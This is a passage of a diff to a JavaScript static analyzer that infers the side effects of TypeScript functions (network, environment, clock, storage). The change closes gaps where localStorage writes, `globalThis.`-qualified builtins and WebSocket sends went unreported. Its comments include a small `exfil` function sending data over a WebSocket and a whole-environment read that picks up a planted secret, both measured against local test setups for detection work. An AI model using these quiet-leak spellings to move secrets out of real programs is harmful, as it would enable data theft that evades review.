+// R113 — WEB STORAGE, IDENTIFIED FROM THE RECEIVER'S TYPE rather than from the member's declaration.
+// R109 charged `localStorage.setItem(k, v)` by keying on the resolved MEMBER — `decl.parent.name ===
+// "Storage"` in the es-lib arm. That reading can only see a member the interface DECLARES. `Storage` also
+// carries an INDEX SIGNATURE (`[name: string]: any` — in lib.dom AND in @types/node's
+// `web-globals/storage.d.ts`, identically), so `localStorage.x = secret` resolves to no declaration at
+// all, no accessor exists for the property arm to find, and the write was reported as NOTHING in BOTH
+// lib configurations.
+//
+// GROUND TRUTH IS EXECUTED, node 22.12.0 with `--experimental-webstorage --localstorage-file=./ls.db`:
+// process 1 runs `localStorage.x = "SECRET"; localStorage["tok"] = "SECRET"`, process 2 reads both back.
+// The index-signature write PERSISTS ACROSS PROCESSES, byte-identically to the `setItem` call that IS
+// charged. `debug` publishes `localStorage.debug = 'worker:*'` as its documented browser API and
+// `util-deprecate/browser.js` does `global.localStorage[name]`, so this is the spelling real code uses.
+//
+// R109's OWN COMMENT DISMISSED THIS ROW — "the `localStorage.x = v` INDEX-SIGNATURE spelling is untouched
+// and still pure — pure under @types/node too, so it is not part of this split." Every literal word was
+// true. The conclusion was not: both arms agreeing is not a safety property, it is the R111 failure mode.
+// Attack K, in the comment that made the previous fix look complete.
+//
+// KEYED ON THE RECEIVER'S TYPE SYMBOL, which is the identity the call arm already uses — one step
+// earlier in the same chain, so it reaches the members the interface never named. It also gets the alias
+// and parameter spellings for free: `const ls = localStorage; ls.x = v`, `window.localStorage.x = v`,
+// `sessionStorage.x = v` and `function f(s: Storage) { s.x = v }` all have a `Storage`-typed receiver and
+// no new branch. FABRICATION GUARD: the type symbol must have a declaration in `typescript/lib/lib.*.d.ts`
+// or under `@types/node/`, so a project's own `interface Storage` / `class Storage` is never charged
+// (measured, not argued — the shadow control in test.mjs).
+//
+// `some`, not `every`: this INCLUDES rather than excludes, so the conservative direction is to charge on
+// any host declaration. Under @types/node the symbol legitimately carries two declarations (the
+// module-local `interface Storage` and the `declare global { interface Storage extends _Storage {} }`
+// merge), and `every` would have to be right about both.
+const webStorageDeclFile = (d) => {
+  const f = path.resolve(d.getSourceFile().fileName).replace(/\\/g, "/");
+  return /typescript\/lib\/lib\..*\.d\.ts$/.test(f) || declIsNodeTypes(d);
+};
+const isWebStorageExpr = (expr) => {
+  if (!expr) return false;
+  let t; try { t = checker.getTypeAtLocation(expr); } catch { return false; }
+  const sym = t && (t.symbol ?? t.aliasSymbol);
+  if (!sym || sym.name !== "Storage") return false;
+  return (sym.declarations ?? []).some(webStorageDeclFile);
+};
+
 // ---- whole-object process.env access via builtins/spread ------------------------------------------------
 // `process.env.KEY` is caught above, but the WHOLE env object handed to a builtin that enumerates or mutates it
 // is the same Env effect and read silent-pure: `Object.assign(process.env, o)` / `Object.defineProperty(...)` /
@@ -4946,17 +6169,229 @@ const ENV_TOUCHING_BUILTIN = new Set([
 const ENV_TOUCHING_GLOBAL = new Set(["structuredClone"]);
 const identIsGlobal = (id) => // an identifier that is the ambient global (no project-local declaration shadows it)
   !(checker.getSymbolAtLocation(id)?.declarations ?? []).some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)));
+// THE `globalThis.` QUALIFIER, WHICH DEFEATED FIVE TEXT-KEYED ARMS AT ONCE (SOUNDNESS row id pending —
+// filed by the coordinator, not invented here). Every arm below
+// recognises a whole-object builtin by the callee's TEXT (`Object.assign`, `Reflect.set`, `Object.keys`),
+// and `globalThis.Object.assign(...)` is the same function under a different spelling. MEASURED, one
+// file, `tsc --noEmit` clean, each pair differing ONLY in the qualifier:
+//
+//     Object.assign(sink, {token:1})            ["Fs"]      globalThis.Object.assign(…)     ABSENT
+//     Reflect.set(sink, "token", 1)             ["Fs"]      globalThis.Reflect.set(…)       ABSENT
+//     Object.assign({}, literalWithGetter)      ["Unknown"] globalThis.Object.assign(…)     ABSENT
+//     Object.keys(process.env)                  ["Env"]     globalThis.Object.keys(env)     ABSENT
+//     Object.keys(localStorage)                 ["Unknown"] globalThis.Object.keys(ls)      ABSENT
+//
+// Ground truth EXECUTED on node 22.12.0: `globalThis.Object.assign`, `globalThis.Reflect.set` and the
+// bare spellings each invoke the accessor exactly once; `globalThis.Object.keys(process.env)` reads the
+// whole environment. Five arms, one spelling, and the `Env` one is a whole-environment read reported as
+// nothing. This is R95's `globalThis.fetch` class, one builtin family over.
+//
+// RETURNS THE CANONICAL `Owner.member` TEXT for a call whose callee is a member of an ambient global
+// builtin, reached BARE or through a proven-global `globalThis`/`global`/`window`/`self` root (parens,
+// `as` casts and `!` unwrapped, as `identIsGlobalProcess` already does for the process object). Returns
+// null for anything else, so a project's own `Object` — bare or hung off a project-shadowed root — is
+// never matched. It can only make an existing text test recognise MORE spellings of the same function;
+// it cannot make one stop matching.
+const GLOBAL_ROOTS = new Set(["globalThis", "global", "window", "self"]);
+const globalBuiltinCallee = (callee) => {
+  if (!callee || !ts.isPropertyAccessExpression(callee)) return null;
+  const member = callee.name?.text;
+  if (!member) return null;
+  let owner = callee.expression;
+  while (owner && (ts.isParenthesizedExpression(owner) || ts.isAsExpression(owner)
+                   || ts.isNonNullExpression(owner))) owner = owner.expression;
+  if (ts.isIdentifier(owner)) return identIsGlobal(owner) ? `${owner.text}.${member}` : null;
+  if (!ts.isPropertyAccessExpression(owner) || !owner.name?.text) return null;
+  let root = owner.expression;
+  while (root && (ts.isParenthesizedExpression(root) || ts.isAsExpression(root)
+                  || ts.isNonNullExpression(root))) root = root.expression;
+  if (!ts.isIdentifier(root) || !GLOBAL_ROOTS.has(root.text) || !identIsGlobal(root)) return null;
+  return `${owner.name.text}.${member}`;
+};
+// SOUNDNESS R281 — THE SAME QUESTION FOR A **BARE** GLOBAL, AND THE TABLE THE QUALIFIER FIX DID NOT REACH.
+// `globalBuiltinCallee` above canonicalises a MEMBER of a global object (`globalThis.Object.assign` ->
+// `Object.assign`). `structuredClone` is not a member of anything — it is a bare global — so it lives in
+// its own table (`ENV_TOUCHING_GLOBAL`) whose two consumers both tested `ts.isIdentifier(callee)`, and a
+// qualified spelling is a PropertyAccess. `f58dc0f` fixed FIVE member-keyed arms by routing them through
+// the helper above and left this one; `9a0cfd9` (R252) then added a NEW consumer of the same table with
+// the same identifier test, so it was born with the hole its sibling commit had just closed.
+//
+// MEASURED at 9a0cfd9, three isolated trees each containing exactly one function, `tsc --noEmit` clean:
+//
+//     structuredClone(process.env)              functions[] = [["src.only.leak",["Env"]]]   deny Env -> 1
+//     globalThis.structuredClone(process.env)   functions[] = []                            deny Env -> 0
+//     window.structuredClone(process.env)       functions[] = []                            deny Env -> 0
+//     self.structuredClone(process.env)         functions[] = []                            deny Env -> 0
+//
+// and `deny Unknown`, `deny Env Unknown`, `pure src.only.leak` and `deny Env src.only.leak` ALL exit 0 on
+// the three qualified spellings, with the scoped rule BINDING (a bogus name prints `matched NO function`;
+// these do not). No incidental catch anywhere — a whole-environment read reported as nothing at all.
+// EXECUTED on node 22.12.0 with `window`/`self` bound to `globalThis` as a browser/worker binds them:
+// each spelling really clones all 66 variables, a planted `CANDOR_SECRET` among them.
+//
+// `window.`/`self.` were asserted "identical BY CONSTRUCTION" in the row that filed this; they are not
+// asserted here, they are the two rows above, run.
+//
+// Returns the BARE global name a callee resolves to, or null. Shadow-guarded by the same `identIsGlobal`
+// the member helper uses, on the identifier that actually decides: the bare callee itself, or the
+// `globalThis`/`global`/`window`/`self` root. It can only make an existing text test recognise MORE
+// spellings of the same function; a project's own `structuredClone`, bare or hung off a shadowed root,
+// still matches nothing.
+const globalBareCallee = (callee) => {
+  if (!callee) return null;
+  if (ts.isIdentifier(callee)) return identIsGlobal(callee) ? callee.text : null;
+  if (!ts.isPropertyAccessExpression(callee) || !callee.name?.text) return null;
+  let root = callee.expression;
+  while (root && (ts.isParenthesizedExpression(root) || ts.isAsExpression(root)
+                  || ts.isNonNullExpression(root))) root = root.expression;
+  // ONLY a global ROOT, never an arbitrary owner: `Object.assign` must not read as the bare global
+  // `assign`, and `globalThis.Object.assign` must not read as the bare global `Object` — both are the
+  // member helper's business, and answering them here would be the second copy §G exists to prevent.
+  return ts.isIdentifier(root) && GLOBAL_ROOTS.has(root.text) && identIsGlobal(root) ? callee.name.text : null;
+};
 // True when `node` is a call to a global builtin that reads/writes every key of an object argument (so any
 // env-object argument makes the enclosing fn Env): `Object.*`/`Reflect.*`/`JSON.stringify` (member) or
 // `structuredClone` (bare). Guarded against a project-local shadow of the callee.
 const envTouchingBuiltinCall = (node) => {
   if (!ts.isCallExpression(node)) return false;
   const c = node.expression;
-  if (ts.isPropertyAccessExpression(c) && ts.isIdentifier(c.expression))
-    return ENV_TOUCHING_BUILTIN.has(`${c.expression.text}.${c.name.text}`) && identIsGlobal(c.expression);
-  if (ts.isIdentifier(c)) return ENV_TOUCHING_GLOBAL.has(c.text) && identIsGlobal(c);
+  // THE `globalThis.` QUALIFIER (SOUNDNESS row id pending — filed by the coordinator) — through
+  // `globalBuiltinCallee`, so `globalThis.Object.keys(process.env)` is the same call
+  // as `Object.keys(process.env)`. The old test required `c.expression` to be an IDENTIFIER, so the
+  // qualified spelling produced `"undefined.keys"` and read false: a whole-environment read reported as
+  // nothing. The shadow guard moves INTO the helper (it still checks `identIsGlobal` on the root), so
+  // this is not a widening of what counts as global, only of how it may be spelled.
+  if (ts.isPropertyAccessExpression(c) && ENV_TOUCHING_BUILTIN.has(globalBuiltinCallee(c) ?? "")) return true;
+  // R281 — the bare-global table, through `globalBareCallee`, so `globalThis.structuredClone(process.env)`
+  // is the same call as `structuredClone(process.env)`. The old test required an IDENTIFIER callee, so
+  // every qualified spelling read false: a whole-environment read reported as nothing. NOT a widening of
+  // what counts as global — the helper still asks `identIsGlobal` — only of how it may be spelled.
+  return ENV_TOUCHING_GLOBAL.has(globalBareCallee(c) ?? "");
+};
+
+/** ⟨R95⟩ Does this CALL reach the host's `fetch`, whatever the callee is spelled as?
+ *
+ * The declaration-keyed twin of the callee-keyed guards in the global classifier (see the arm that uses
+ * it for the five spellings those guards missed). Four conditions, each one load-bearing:
+ *
+ *  1. AMBIENT FUNCTION NAMED `fetch`. The host's fetch is a bodyless `function fetch` declaration:
+ *     `@types/node`'s `web-globals/fetch.d.ts` inside its `declare global` block (what `types: ["node"]`
+ *     supplies, so the common case), lib.dom's `declare function fetch`, or an older @types/node's
+ *     `globals.d.ts`. Keying on the FILE would have to enumerate those three and would go stale with the
+ *     next @types/node layout — this shape does not.
+ *     THE `d.body` HALF IS A SCOPE STATEMENT, NOT A PROVEN GUARANTEE, and is written down as the
+ *     assumption it is: it keeps this arm off DEPENDENCY IMPLEMENTATIONS, where "returns
+ *     `Promise<Response>`" is a weak signal (a pure `function fetch(u) { return new Response(u) }` has
+ *     that exact type), leaving those to the import arm above and the κ/invisible channel that already
+ *     own them. No fixture drives it: every dep-source shape tried was already charged Net by an
+ *     earlier arm, so deleting it changed nothing measurable. Narrower than the alternative, which is
+ *     the side to be wrong on here.
+ *  2. NOT A PROJECT FILE. A project's own `fetch` shadow must never fabricate Net — control 3, and the
+ *     same test every arm above makes.
+ *  3. THE RESOLVED DECLARATION IS A GLOBAL, unless it crosses a package boundary. ⟨R121 — THIS
+ *     REPLACES A GUARD THAT WAS WRONG IN BOTH DIRECTIONS AT ONCE.⟩ The guard here used to ask whether
+ *     the CALLEE'S HEAD IDENTIFIER came from a RELATIVE import, and both halves of that failed:
+ *
+ *       FABRICATION — one binding hop erases the import from the head identifier, so a project-owned
+ *       shim was charged Net. MEASURED at 30fc8ea by PRINTING the resolved declaration, not by reading
+ *       the code, over a `vendor/shim.ts` whose implementation returns a canned Response and touches
+ *       nothing (`export function fetch(u): Promise<Response>;` × 2 overloads + a pure body):
+ *
+ *         const { fetch } = shimNamespace;  fetch(u)     head=BindingElement     → Net   FABRICATED
+ *         const { fetch } = shimDefault;    fetch(u)     head=BindingElement     → Net   FABRICATED
+ *         const f = shim.fetch;             f(u)         head=VariableDeclaration→ Net   FABRICATED
+ *         const s = shim;                   s.fetch(u)   head=VariableDeclaration→ Net   FABRICATED
+ *         import * as shim from "./shim";   shim.fetch(u)  head=NamespaceImport  → absent (guard held)
+ *
+ *       and every one of those four printed `RESOLVED_DECL=vendor/shim.ts:1`. So the arm was NOT
+ *       "treating a local shim as the host global" — it never asked. It read four proxies for the
+ *       host's identity and a project's own OVERLOAD SIGNATURE satisfies three of them (bodyless,
+ *       named `fetch`, `Promise<Response>`), with the fourth defeated by the hop.
+ *
+ *       SILENCE — the head identifier is not always the fetch value. `slot.fetch(u)`, where
+ *       `slot` is relatively imported and `slot = { fetch: globalThis.fetch }`, has head `slot`, so
+ *       the old guard rejected on an import that says nothing about which function is being called:
+ *       the REAL host fetch, ABSENT, `deny Net` exit 0. Its sibling spelling `const { fetch } = slot`
+ *       was charged Net in the same file — one value, two answers, selected by punctuation.
+ *
+ *     ASK THE AUTHORITY INSTEAD (§G). The host's `fetch` is a GLOBAL declaration and nothing else is:
+ *     it sits inside a `declare global` block (`@types/node/web-globals/fetch.d.ts:23`, printed) or at
+ *     the top level of a non-module lib file (lib.dom's `declare function fetch`, printed). A module's
+ *     `export function fetch` is reachable only by importing it, so it is never the host global — no
+ *     matter where its file lives, whether the scan included it, or how the callee is spelled.
+ *     THE DEPENDENCY ESCAPE IS LOAD-BEARING AND IS THE DIRECTION THIS GUARD FAILS IN: a real
+ *     DEPENDENCY exports `fetch` module-scoped too (`import * as nf from "node-fetch-native";
+ *     const { fetch } = nf; fetch(u)` — the import arm above only sees the direct spelling, so this arm
+ *     is the only thing charging the hop). Without the escape that call goes SILENT, so the exclusion
+ *     is a DENYLIST of one provable shape — module-scoped AND not reached as a dependency — never an
+ *     allowlist of the host's file paths, which would go stale with the next @types/node layout.
+ *
+ *     ⟨R138 — THE ESCAPE WAS SPELLED `crossesPackageBoundary` AND THAT ASKED THE WRONG QUESTION.⟩
+ *     `crossesPackageBoundary` asks whether some OTHER `package.json` sits above the declaration's
+ *     file: a question about the FILESYSTEM. What this arm needs is whether the declaration was
+ *     reached AS A DEPENDENCY — a question about the MODULE SPECIFIER, which is the property R95's
+ *     guard promised ("the specifier decides, not file-set membership") and which keying on the
+ *     filesystem quietly dropped. MEASURED over two trees differing by exactly one one-line file:
+ *
+ *       src/main.ts  import { fetch } from "../vendor/shim"; fetch(u)      e5c60bc      HEAD
+ *         with vendor/package.json                                         inferred []  ["Net"]
+ *         without it                                                       inferred []  []
+ *
+ *     — one value, two answers, selected by a `{"type":"module"}` marker. EXECUTED against a real
+ *     127.0.0.1 listener: the shim's `fetch` delivers 0 requests and opens 0 TCP connections in both
+ *     spellings, while the host's own `fetch` to the same listener in the same process counted 1 and 1.
+ *
+ *     ASK THE AUTHORITY, AGAIN (§G). TypeScript's module resolution already recorded the answer:
+ *     `program.isSourceFileFromExternalLibrary` is true exactly when a file was reached through node
+ *     module resolution rather than a relative path. PRINTED at this arm before the code was written:
+ *     `vendor/shim.d.ts` via `../vendor/shim` is FALSE with and without the stray package.json, and a
+ *     workspace package's `dist/index.d.ts` reached as `@mono/mock` through a symlink is TRUE even
+ *     though its real path has no `node_modules/` segment — which is exactly why the authority here is
+ *     the resolution record and not a path test.
+ *     WHERE IT FAILS: too narrow ⇒ this arm stops charging Net for a real dependency reached WITHOUT
+ *     node module resolution (a tsconfig `paths` alias; a dependency copy vendored into the tree).
+ *     Such a call does NOT go silent — `crossesPackageBoundary` still governs the κ-coverage ledger, so
+ *     it keeps `invisible:[pkg]`, the honest answer for a body this scan never read (measured: the
+ *     shim row above carries `invisible:["vendor-shim"]` with and without this narrowing). Bounded, in
+ *     the other direction, to declarations that are both module-scoped and not a resolved dependency —
+ *     the project's own source, which candor analyses as its own units and reaches by an EDGE rather
+ *     than by this arm. That is the same bargain guard (2) already makes for `projectFiles`, extended
+ *     to the project files a given scan's shape happens to leave out.
+ *  4. SHAPED LIKE THE WEB FETCH — returns `Promise<Response>`. Not a new judgement: it is the identical
+ *     question the import arm above already asks of the identical authority, and it exists because a
+ *     package exporting a pure `fetch(key)` cache-getter was once charged Net on its name alone.
+ *
+ * NOT a `.d.ts` file test: an ambient declaration is what (1) already asks for, and a file-extension
+ * test would add a second, weaker spelling of the same question. */
+// Is this declaration in GLOBAL scope — `declare global { … }`, or the top level of a source file that
+// is not an external module? Everything else is reachable only through an import and is therefore some
+// module's own export, never the host global.
+const declaredInGlobalScope = (d) => {
+  for (let n = d.parent; n; n = n.parent) {
+    if (ts.isModuleDeclaration(n)) return !!(n.flags & ts.NodeFlags.GlobalAugmentation);
+    if (ts.isSourceFile(n)) return !ts.isExternalModule(n);
+  }
   return false;
 };
+// ⟨R138⟩ Was this declaration's file reached AS A DEPENDENCY — i.e. through node module resolution
+// from a bare specifier — rather than through a relative path? `ts.Program` records this while it
+// resolves, so this is the compiler's own answer to the question, not a second reading of the tree.
+// Guarded because a declaration synthesised outside the program has no source file the program knows.
+const declReachedAsDependency = (d) => {
+  try { return program.isSourceFileFromExternalLibrary(d.getSourceFile()); } catch { return false; }
+};
+const resolvedIsHostFetch = (call) => {
+  if (!ts.isCallExpression(call)) return false;
+  let sig; try { sig = checker.getResolvedSignature?.(call); } catch { return false; }
+  const d = sig?.declaration;
+  if (!d || !ts.isFunctionDeclaration(d) || d.body) return false;               // (1)
+  if (d.name?.text !== "fetch") return false;                                   // (1)
+  const df = path.resolve(d.getSourceFile().fileName);
+  if (projectFiles.has(df)) return false;                                        // (2)
+  if (!declaredInGlobalScope(d) && !declReachedAsDependency(d)) return false;    // (3)
+  let rt; try { rt = checker.typeToString(checker.getReturnTypeOfSignature(sig)); } catch { return false; }
+  return /\bResponse\b/.test(rt);                                                // (4)
+};
 
 // A bare-identifier call whose callee is DEFAULT- or NAMED-imported from a known HTTP-client package is a
 // Net call (corpus-audit #13). The κ table lists these packages, but its rule only fires on a MEMBER call
@@ -4992,6 +6427,22 @@ function visitCalls(node) {
       const rec = fns.get(owner);
       const sig = checker.getResolvedSignature(node);
       let decl = sig && sig.declaration;
+      // ⟨R103⟩ A WRITABLE SLOT IS AN INCOMPLETE CANDIDATE SET — see `openCallSlot`, and see the class-
+      // override fan-out below, which is the authority this converges on rather than a second rule: it
+      // edges to every candidate it CAN name and adds `Unknown` when the set it enumerated is not
+      // provably the whole one (⟨0.35⟩ "A NON-EMPTY CANDIDATE SET IS NOT A COMPLETE ONE"). A slot's
+      // candidate set is exactly that shape — {the initializer} ∪ {whatever wrote it} — so the
+      // resolution below runs UNCHANGED and this only ADDS.
+      //
+      // ADDITIVE ON PURPOSE, and this was measured, not assumed. The first cut REPLACED the resolution
+      // instead of joining it, and the hono A/B caught it: `hc` went `["Clock","Net","Unknown"]` →
+      // `["Net","Unknown"]`, because dropping the edge to `ClientRequestImpl.fetch` discarded the one
+      // body we CAN see. That flips `deny Clock` from exit 1 to exit 0 — a fix for a silent under-report
+      // introducing a silent under-report, which is this project's most-measured way to get it wrong.
+      // Union cannot do that: no effect is ever removed, so no firing gate can go green. The price is
+      // that the fabrication direction (`private h = fsThing; this.h = pureArrow` charging Fs) is only
+      // DISCLOSED by the added `Unknown`, not cured. That is the right side to be wrong on.
+      const slotCallee = decl ? openCallSlot(node) : null;
       if (!decl) {
         // `new C()` on a class with an IMPLICIT constructor resolves to no declaration — edge to
         // the class's (synthesized) ctor unit via the class identifier before concluding Unknown.
@@ -5315,7 +6766,9 @@ function visitCalls(node) {
                   }
                 } else {
                   rec.direct.add("Unknown"); // override family too wide to enumerate soundly
-                  rec.why.add(dispatchWhy(decl.parent?.name?.getText?.(), decl.name?.getText?.())); // class-override dispatch (overridable member, unresolved/too-wide family) — canonical `dispatch:OWNER.member`, frontier-relevant
+                  // R284 — QUALIFIED, like its <=12 sibling four lines up and like every other emission
+                  // site. This one alone emitted a bare `dispatch:Shape.m`, which no frontier resolves.
+                  rec.why.add(dispatchWhy(memberOwnerQual(decl), decl.name?.getText?.())); // class-override dispatch (overridable member, unresolved/too-wide family) — canonical `dispatch:OWNER.member`, frontier-relevant
                 }
               }
             }
@@ -5381,8 +6834,15 @@ function visitCalls(node) {
                   let allResolved = true;
                   const targets = [];
                   for (const cls of impls) {
-                    const m = (cls.members ?? []).find((x) =>
-                      (ts.isMethodDeclaration(x) || ts.isPropertyDeclaration(x)) && x.name?.getText?.() === member);
+                    // ⟨0.35, PART 87 fix⟩ `cls` may be a ClassDeclaration/ClassExpression (`.members`) OR
+                    // a structural implementor — an ObjectLiteralExpression (`.properties`) registered by
+                    // the structural-implementor pass above. A PropertyAssignment (`go: () => …`) is the
+                    // object-literal spelling `ts.isMethodDeclaration`/`ts.isPropertyDeclaration` alone
+                    // don't match; accepted here alongside them.
+                    const memberNodes = cls.members ?? cls.properties ?? [];
+                    const m = memberNodes.find((x) =>
+                      (ts.isMethodDeclaration(x) || ts.isPropertyDeclaration(x) || ts.isPropertyAssignment(x))
+                      && x.name?.getText?.() === member);
                     const t = m && nodeName.get(m);
                     if (t) targets.push(t);
                     else allResolved = false;
@@ -5406,13 +6866,23 @@ function visitCalls(node) {
                 // QUALIFIED owner (module.Type), matching the `mod.Class.member` fn quals so the
                 // dispatch-frontier (callers --include-unknown) can resolve overrides against the
                 // hierarchy sidecar. Bare `decl.parent.name` would not match a reacher's declaringType.
-                const tn = sigDecl.parent?.name
-                  ? `${moduleOf(sigDecl.parent.getSourceFile())}.${namespacePrefixOf(sigDecl.parent)}${sigDecl.parent.name.getText()}`
-                  : null;
+                // R284 — `memberOwnerQual`, not `parent?.name`: a MethodSignature in a `type X = {...}`
+                // has an owner (`X`) that only the ancestor walk can see, and demoting it to `callback:`
+                // moved its §6.2 class out of `dispatch`. Same helper as the class-override arm, so the
+                // two cannot answer this differently again.
+                const tn = memberOwnerQual(sigDecl);
                 // A CALL SIGNATURE has no member to name (`interface UnaryFunction { (x: T): R }`,
-                // `type PatchFn = (a, b) => void`), and a member of an ANONYMOUS type literal has no
-                // owner to name. Both are function-VALUE invocations, not member dispatch — see
-                // `dispatchWhy`. This is where all 1,234 malformed strings measured on a 15-repo corpus
+                // `type PatchFn = (a, b) => void`) — a function-VALUE invocation, not member dispatch.
+                //
+                // THE SECOND HALF OF THIS SENTENCE WAS FALSE FROM R284 UNTIL R359, and R355's commit
+                // message claimed to have corrected it while changing nothing here. It read "…and a
+                // member of an ANONYMOUS type literal has no owner to name". R284 gave such a member an
+                // owner deliberately — the named declaration that DECLARES the literal — which is right
+                // for `type Named = { m(): void }` and wrong the moment the walk leaves the type
+                // position. The rule now is: a literal in TYPE position takes the name of the
+                // declaration that declares it; a literal in VALUE position, or nested behind a
+                // property signature or a type argument, has no owner and stays `callback:`. See
+                // `VALUE_POSITION_BOUNDARY` and `dispatchWhy`. This is where all 1,234 malformed strings measured on a 15-repo corpus
                 // came from; the other emission sites produced none.
                 rec.why.add(dispatchWhy(tn, sigDecl.name?.getText?.())); // resolution landed on a type, not a body — canonical `dispatch:OWNER.member` (frontier-relevant)
               }
@@ -5435,11 +6905,42 @@ function visitCalls(node) {
             rec.direct.add("Unknown");
             rec.why.add("reflect:eval"); // eval executes a runtime-supplied string — canonical `reflect:`
           }
-          if ((parent === "DateConstructor" && name === "now") || (parent === "Performance" && name === "now"))
+          // R111 — the `Performance` member set is the SHARED constant, not a literal repeated here.
+          // `performance.mark("m")` and `performance.measure("m")` read the clock and reported nothing
+          // under lib.dom AND under `@types/node` — a member-coverage gap that was invisible precisely
+          // BECAUSE the two resolution paths agreed, which is the third way this pair of tables has now
+          // been wrong (R109 lib.dom-silent, R110 node-silent, R111 both-silent-together). Importing
+          // `CLOCK_READING_PERFORMANCE_MEMBERS` rather than restating the names is the smallest thing
+          // that makes their AGREEMENT mean anything: the two arms can no longer be widened separately,
+          // which is the single degree of freedom that produced all three rows. Ground truth is EXECUTED
+          // and recorded at the constant, together with the members deliberately NOT charged (`timerify`,
+          // `toJSON`, `timeOrigin`, the `getEntries*` surface) and the measurement for each.
+          // `DateConstructor.now` is NOT part of that set and keeps its own test: it is a different
+          // interface with a different member list, and sharing a predicate between them would be a name
+          // collision dressed up as a shared question.
+          // R114 — the `Console` timer members, the lib.dom twin of the `(node:)?console` κ rule, reading
+          // the SAME exported set for the same reason the `Performance` pair does. A project whose `lib`
+          // includes DOM but which has no `@types/node` resolves `console.time` into `lib.dom.d.ts`, where
+          // it is declared on `interface Console` — so without this arm the fix would have landed on one
+          // resolution path only, which is R109/R110's entire failure mode.
+          if ((parent === "DateConstructor" && name === "now")
+              || (parent === "Performance" && CLOCK_READING_PERFORMANCE_MEMBERS.test(name))
+              || (parent === "Console" && CLOCK_READING_CONSOLE_MEMBERS.test(name)))
             rec.direct.add("Clock");
           if (parent === "Math" && name === "random") rec.direct.add("Rand");
+          // R136 — …AND THROUGH A SUBCLASS. `checker.getTypeAtLocation(node.expression)` names the
+          // CALL-SITE expression's type, so `class MyDate extends Date {}` + `new MyDate()` reads
+          // "MyDate" and the clock read vanished — silently, with no `Unknown` and no `invisible`.
+          // The authority is the same one the connecting-ctor arm below now uses: the DECLARATION the
+          // constructor resolved to, which for an inherited implicit constructor is the BASE's construct
+          // signature, here `interface DateConstructor`. ADDITIVE (an `||`): a construction that named
+          // itself before still fires, so this can only add a Clock, never remove one. Ground truth
+          // EXECUTED on node 22.12.0 — `new MyDate()` and a two-level `class Deep extends MyDate {}`
+          // both return the current time; `new MyDate(0)` returns the epoch and is correctly NOT charged,
+          // because the zero-argument test is unchanged.
           if (ts.isNewExpression(node) && (node.arguments ?? []).length === 0
-              && checker.getTypeAtLocation(node.expression)?.symbol?.name === "DateConstructor")
+              && (checker.getTypeAtLocation(node.expression)?.symbol?.name === "DateConstructor"
+                  || declaredCtorClassName(decl) === "DateConstructor"))
             rec.direct.add("Clock");
           // Browser/runtime NETWORK globals declared in lib.dom — no importable module for the κ table to
           // key on, so they read SILENT-PURE. `XMLHttpRequest.send`/`.open` issue the HTTP request; the
@@ -5471,6 +6972,21 @@ function visitCalls(node) {
               else rec.incomplete.add("Net");
             }
           }
+          // R130 — the WIRE verbs of an ALREADY-OPEN `WebSocket`/`EventSource`, which were silently pure
+          // in BOTH arms. The `new WebSocket(url)` branch below charges the CONNECT; nothing charged the
+          // bytes, so a function handed an open socket read PURE with no `invisible` and no `Unknown` —
+          // an omission, which under SPEC §2 rule 3 is a positive purity claim over an exfiltration
+          // primitive. MEASURED on PUBLISHED 0.34.0, in ISOLATION (no other Net call in the file):
+          //     export function exfil(w: WebSocket, s: string): void { w.send(s); }
+          //     lib.dom -> ABSENT from `functions`     all five policy forms -> exit 0
+          // Ground truth EXECUTED against a real 127.0.0.1 listener: the frame arrives, payload intact.
+          // This engine already charges `XMLHttpRequest.send` for exactly this operation eight lines up,
+          // and κ's whole-module `net` rule already charges `socket.write`/`socket.end` — so the gap was
+          // one API's spelling, not a decision. A USE-VERB: the endpoint was fixed at construction, so it
+          // must NOT mark `incomplete` (the XHR `send` note above) and its argument 0 must NOT be read as
+          // a host (NET_USE_VERBS at urlArgLiteral — arg0 is the payload).
+          if ((parent === "WebSocket" || parent === "EventSource") && WEB_WIRE_MEMBERS.test(name))
+            rec.direct.add("Net");
           // `navigator.sendBeacon(url, data)` — Net, and the one this set most needed. It exists to POST
           // data to a server on page-unload, it is what analytics and telemetry reach for, and it read
           // PURE: `deny Net` answered exit 0 over
@@ -5505,17 +7021,95 @@ function visitCalls(node) {
           if (parent === "Crypto" && (name === "getRandomValues" || name === "randomUUID")) {
             rec.direct.add("Rand");
           }
+          // Web Storage — `localStorage`/`sessionStorage`. THE SAME es-lib/@types-node SPLIT the `Crypto`
+          // line above exists for, and the half that was still open: @types/node's `web-globals/storage`
+          // is deliberately absent from `NODE_CORE_REVIEWED`, so under `types: ["node"]` with `lib` not
+          // including DOM the call fails closed as `Unknown[native:web-globals/storage.setItem]` and
+          // `deny Unknown` exits 1. Resolve the SAME LINE through lib.dom — which is what `lib: ["…","DOM"]`
+          // gives, and also what the DEFAULT `lib` for any ES target gives, so it is the common case, not
+          // the exotic one — and it landed on the conventionally-pure arm below with no branch of its own:
+          //     export function stash(secret: string) { localStorage.setItem("token", secret); }
+          //   lib.dom   →  functions: []            deny Unknown → exit 0     (silent under-report)
+          //   @types/node → Unknown[native:…]       deny Unknown → exit 1
+          // One line, two answers, selected by tsconfig. Ground-truthed by EXECUTION under a `Storage`
+          // shim: the write really happens. Converging on the fail-closed answer is the only direction
+          // that is sound in both configs.
+          //
+          // KEYED ON THE RESOLVED DECLARATION'S PARENT (`Storage`), NOT ON THE IDENTIFIER TEXT. Keying on
+          // the name `localStorage` would miss `window.localStorage`, `sessionStorage` (lib.dom declares
+          // BOTH as `: Storage`, so both fall out of this one predicate — measured, not assumed) and a
+          // `Storage`-typed parameter, and would fabricate on a user-defined binding called
+          // `localStorage`. Reaching this arm already proves the declaration is `typescript/lib/lib.*.d.ts`
+          // (`declModule`), so a project's own `class Storage` resolves `<local>` and is never charged.
+          //
+          // THE WHOLE INTERFACE, not a verb list: reads persist across sessions and origins just as writes
+          // do, and an unlisted member would be silently pure — the denylist direction, matching what the
+          // node floor already does for every member of that file. `Unknown` rather than `Fs` because the
+          // backing store is not modelled (a browser's is not a filesystem, node's is a file); this is the
+          // node arm's answer, verbatim, which is the point. Reason names the interface actually resolved
+          // — `native:Storage.setItem` — rather than borrowing the node arm's file path, which no DOM-only
+          // project has; both map to reason class `native`, so `Unknown[native]` gates identically.
+          // NOT a claim about the whole DOM surface: `StorageManager.getDirectory` (OPFS), `IDBFactory`,
+          // `caches` and the `localStorage.x = v` INDEX-SIGNATURE spelling are untouched and still pure —
+          // the last of those is pure under @types/node too, so it is not part of this split.
+          if (parent === "Storage") {
+            rec.direct.add("Unknown");
